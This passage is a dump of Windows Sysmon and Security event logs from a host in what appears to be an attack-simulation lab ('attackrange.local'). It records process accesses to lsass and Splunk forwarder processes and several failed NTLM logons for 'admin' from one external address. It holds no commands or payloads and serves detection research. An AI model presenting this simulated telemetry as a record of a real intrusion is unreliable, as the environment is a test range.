C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nTargetProcessId: 3580\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","TargetProcessId":"3580","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221504,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61398\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61398","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221505,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61492\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61492","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221506,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61639\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61639","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.958\r\nProcessGuid: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nProcessId: 3644\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.958","ProcessGuid":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nTargetProcessId: 3644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program 